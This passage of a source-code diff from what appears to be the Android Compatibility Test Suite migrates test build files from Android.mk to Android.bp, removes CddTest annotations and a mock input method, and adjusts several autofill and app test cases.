+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAccessibilityWidgetProvider",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/Android.mk b/tests/accessibilityservice/test-apps/WidgetProvider/Android.mk
deleted file mode 100644
index e35f83c..0000000
--- a/tests/accessibilityservice/test-apps/WidgetProvider/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsAccessibilityWidgetProvider
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
new file mode 100644
index 0000000..1c5b981
--- /dev/null
+++ b/tests/admin/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAdminTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    instrumentation_for: "CtsAdminApp",
+    sdk_version: "test_current",
+}
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
deleted file mode 100644
index 3775baf..0000000
--- a/tests/admin/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt mockito-target-minus-junit4
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAdminTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_INSTRUMENTATION_FOR := CtsAdminApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/admin/app/Android.bp b/tests/admin/app/Android.bp
new file mode 100644
index 0000000..ca34e85
--- /dev/null
+++ b/tests/admin/app/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAdminApp",
+    defaults: ["cts_support_defaults"],
+    libs: ["guava"],
+    static_libs: ["androidx.test.rules"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
deleted file mode 100644
index ee4a158..0000000
--- a/tests/admin/app/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := guava
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAdminApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index 25521ed..7967e03 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -47,6 +47,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsAppTestStubs
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 11
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index d985861..d973bab 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -47,4 +47,6 @@
 LOCAL_PACKAGE_NAME := CtsAppTestStubs
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
+LOCAL_USE_AAPT2 := true
+
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/app/app/res/values/styles.xml b/tests/app/app/res/values/styles.xml
index 9f62d79..4758000 100644
--- a/tests/app/app/res/values/styles.xml
+++ b/tests/app/app/res/values/styles.xml
@@ -125,8 +125,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 4ce31a3..5beb1c4 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -49,7 +49,6 @@
 
 import androidx.test.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -528,7 +527,6 @@
      * Test that background check behaves correctly after a process is no longer foreground:
      * first allowing a service to be started, then stopped by the system when idle.
      */
-    @CddTest(requirement="3.5/C-0-7")
     public void testBackgroundCheckStopsService() throws Exception {
         final Parcel data = Parcel.obtain();
         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent,
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index abb99b9..85c8977 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -245,7 +245,7 @@
         mInstrumentation.waitForIdleSync();
 
         assertEquals(View.GONE, decor.getVisibility());
-        assertTrue(d.isShowing());
+        assertFalse(d.isShowing());
 
         mActivityRule.runOnUiThread(new Runnable() {
             public void run() {
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 0b4f4fb..6c25a2d 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -44,13 +44,11 @@
 
 import androidx.test.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.IBinderParcelable;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.List;
 
-@CddTest(requirement="3.5/C-0-2")
 public class ServiceTest extends ActivityTestsBase {
     private static final String TAG = "ServiceTest";
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 6dc1df7..6d22063 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -43,7 +43,6 @@
 import android.telephony.TelephonyManager;
 import android.test.InstrumentationTestCase;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import java.lang.reflect.Field;
@@ -294,7 +293,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.4/C-1-1,C-2-1")
     public void testNfcFeatures() {
         if (NfcAdapter.getDefaultAdapter(mContext) != null) {
             // Watches MAY support all FEATURE_NFC features when an NfcAdapter is available, but
@@ -503,7 +501,6 @@
         // TODO: Add tests for the other touchscreen features.
     }
 
-    @CddTest(requirement="7.7.2/C-2-1")
     public void testUsbAccessory() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) &&
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index a2a0e449..e53b11e 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -46,8 +46,6 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CddTest;
-
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
@@ -101,52 +99,6 @@
     }
 
     @Test
-    public void setBitmapTest_1x1Pixel() {
-        ensureCleanState();
-
-        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(tmpWallpaper);
-        canvas.drawColor(Color.RED);
-
-        try {
-            int which = WallpaperManager.FLAG_SYSTEM;
-            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
-            mWallpaperManager.suggestDesiredDimensions(tmpWallpaper.getWidth(),
-                    tmpWallpaper.getHeight());
-            mWallpaperManager.setBitmap(tmpWallpaper);
-            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
-            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        } finally {
-            tmpWallpaper.recycle();
-        }
-    }
-
-    @Test
-    public void setBitmapTest_1x1Pixel_FullscreenDesired() {
-        ensureCleanState();
-
-        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(tmpWallpaper);
-        canvas.drawColor(Color.RED);
-
-        try {
-            int which = WallpaperManager.FLAG_SYSTEM;
-            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
-            final Point displaySize = getScreenSize();
-            mWallpaperManager.suggestDesiredDimensions(displaySize.x, displaySize.y);
-            mWallpaperManager.setBitmap(tmpWallpaper);
-            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
-            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        } finally {
-            tmpWallpaper.recycle();
-        }
-    }
-
-    @Test
     public void setResourceTest() {
         try {
             int which = WallpaperManager.FLAG_SYSTEM;
@@ -159,7 +111,6 @@
         }
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     @Test
     public void wallpaperChangedBroadcastTest() {
         Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
diff --git a/tests/aslr/Android.bp b/tests/aslr/Android.bp
new file mode 100644
index 0000000..024b85f
--- /dev/null
+++ b/tests/aslr/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CtsAslrMallocTestCases",
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    srcs: ["src/AslrMallocTest.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "libbase",
+        "libutils",
+        "liblog",
+    ],
+    static_libs: ["libgtest"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/aslr/Android.mk b/tests/aslr/Android.mk
deleted file mode 100644
index f0a4008..0000000
--- a/tests/aslr/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE:= CtsAslrMallocTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SRC_FILES := \
-    src/AslrMallocTest.cpp
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_SHARED_LIBRARIES := \
-    libbase \
-    libutils \
-    liblog \
-
-LOCAL_STATIC_LIBRARIES := \
-    libgtest
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/aslr/AndroidTest.xml b/tests/aslr/AndroidTest.xml
index b17bcf6..fbd8cd1 100644
--- a/tests/aslr/AndroidTest.xml
+++ b/tests/aslr/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Aslr Malloc test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsAslrMallocTestCases->/data/local/tmp/CtsAslrMallocTestCases" />
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index c2bb5b0..bcfc2c8 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -140,24 +140,6 @@
                 <action android:name="android.service.autofill.AutofillService" />
             </intent-filter>
         </service>
-
-        <!-- Mock IME -->
-        <service
-            android:name="com.android.cts.mockime.MockIme"
-            android:label="Mock IME"
-            android:permission="android.permission.BIND_INPUT_METHOD">
-            <intent-filter>
-                <action android:name="android.view.InputMethod" />
-            </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/method" />
-        </service>
-        <provider
-            android:authorities="com.android.cts.mockime.provider"
-            android:name="com.android.cts.mockime.SettingsProvider">
-        </provider>
-
     </application>
 
     <instrumentation
diff --git a/tests/autofillservice/res/xml/method.xml b/tests/autofillservice/res/xml/method.xml
deleted file mode 100644
index 7f8b13a..0000000
--- a/tests/autofillservice/res/xml/method.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright (C) 2019 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
--->
-
-<input-method xmlns:android="http://schemas.android.com/apk/res/android">
-</input-method>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
index 6e3308d..cb98b54 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
@@ -725,7 +725,7 @@
         final String expectedMessage = getWelcomeMessage("malkovich");
         final String actualMessage = mActivity.tapLogin();
         assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
 
         // Assert client state on authentication activity.
         assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
@@ -1105,7 +1105,7 @@
         final String expectedMessage = getWelcomeMessage("malkovich");
         final String actualMessage = mActivity.tapLogin();
         assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
 
         // Assert client state on authentication activity.
         assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 8ea2c14..4c480e3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -35,7 +35,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.cts.mockime.MockImeSessionRule;
+import com.android.compatibility.common.util.SafeCleanerRule;
 
 import org.junit.After;
 import org.junit.Before;
@@ -77,10 +77,6 @@
         }
     };
 
-    @ClassRule
-    public static final MockImeSessionRule sMockImeSessionRule =
-            new MockImeSessionRule(/* ignoreInitException= */ true);
-
     @Rule
     public final RetryRule mRetryRule = new RetryRule(2);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
index 7c5f02e..2aba48e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -18,9 +18,12 @@
 
 import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
 
-import androidx.annotation.NonNull;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.SafeCleanerRule;
+
 import org.junit.AssumptionViolatedException;
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
index 6d839b0..ba782e5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
@@ -95,7 +95,7 @@
         when(finder.findByAutofillId(id3)).thenReturn("c");
         when(finder.findByAutofillId(id4)).thenReturn("d");
 
-        assertThrows(ArrayIndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
+        assertThrows(IndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
 
         // fail one, fail all
         verify(template, never()).setCharSequence(eq(0), any(), any());
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 02b2e13..f5a4f89 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -71,13 +71,28 @@
     public final void testTapLink_changeOrientationThenTapBack() throws Exception {
         assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
 
+        final int width = mUiBot.getDevice().getDisplayWidth();
+        final int heigth = mUiBot.getDevice().getDisplayHeight();
+        final int min = Math.min(width, heigth);
+
+        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= 500);
+        Log.d(TAG, "testTapLink_changeOrientationThenTapBack(): screen size is "
+                + width + "x" + heigth);
+
         mUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {
+            runShellCommand("wm size 1080x1920");
+            runShellCommand("wm density 320");
             saveUiRestoredAfterTappingLinkTest(
                     PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
         } finally {
             mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-            cleanUpAfterScreenOrientationIsBackToPortrait();
+            try {
+                cleanUpAfterScreenOrientationIsBackToPortrait();
+            } finally {
+                runShellCommand("wm density reset");
+                runShellCommand("wm size reset");
+            }
         }
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 87b0ff7..81b3fa2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -19,21 +19,9 @@
 import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
 
-import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.content.IntentSender;
-import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
-import android.view.KeyEvent;
-import android.view.View;
-
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
@@ -43,8 +31,6 @@
 
 public class DatasetFilteringTest extends AbstractLoginActivityTestCase {
 
-    private static final long MOCK_IME_TIMEOUT_MS = 5_000;
-
     private static String sMaxDatasets;
 
     @BeforeClass
@@ -122,7 +108,7 @@
     }
 
     @Test
-    public void testFilter_ejectingEvents() throws Exception {
+    public void testFilter_usingKeyboard() throws Exception {
         final String aa = "Two A's";
         final String ab = "A and B";
         final String b = "Only B";
@@ -179,74 +165,6 @@
 
     @Test
     @AppModeFull // testFilter() is enough to test ephemeral apps support
-    public void testFilter_usingKeyboard() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
-                        .build())
-                .build());
-
-        final ImeEventStream stream = mockImeSession.openEventStream();
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Wait until the MockIme gets bound to the TestActivity.
-        expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
-        expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
-                MOCK_IME_TIMEOUT_MS);
-
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        sendKeyEvents("KEYCODE_DEL"); // TODO: add new method on MockIme for it
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        sendKeyEvents("KEYCODE_DEL"); // TODO: add new method on MockIme for it
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
-        expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull // testFilter() is enough to test ephemeral apps support
     public void testFilter_nullValuesAlwaysMatched() throws Exception {
         final String aa = "Two A's";
         final String ab = "A and B";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
index c9afacc..3483257 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
@@ -82,7 +82,7 @@
         activity.setDate(2010, Calendar.DECEMBER, 12);
         activity.tapOk();
 
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
         assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 3120072..0cc1bdb 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -38,6 +38,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.icu.util.Calendar;
 import android.os.Bundle;
@@ -108,6 +109,9 @@
     private static final String LOCAL_DIRECTORY = Environment.getExternalStorageDirectory()
             + "/CtsAutoFillServiceTestCases";
 
+    private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+            "config_forceDefaultOrientation";
+
     /**
      * Helper interface used to filter nodes.
      *
@@ -803,22 +807,37 @@
      * Checks if screen orientation can be changed.
      */
     public static boolean isRotationSupported(Context context) {
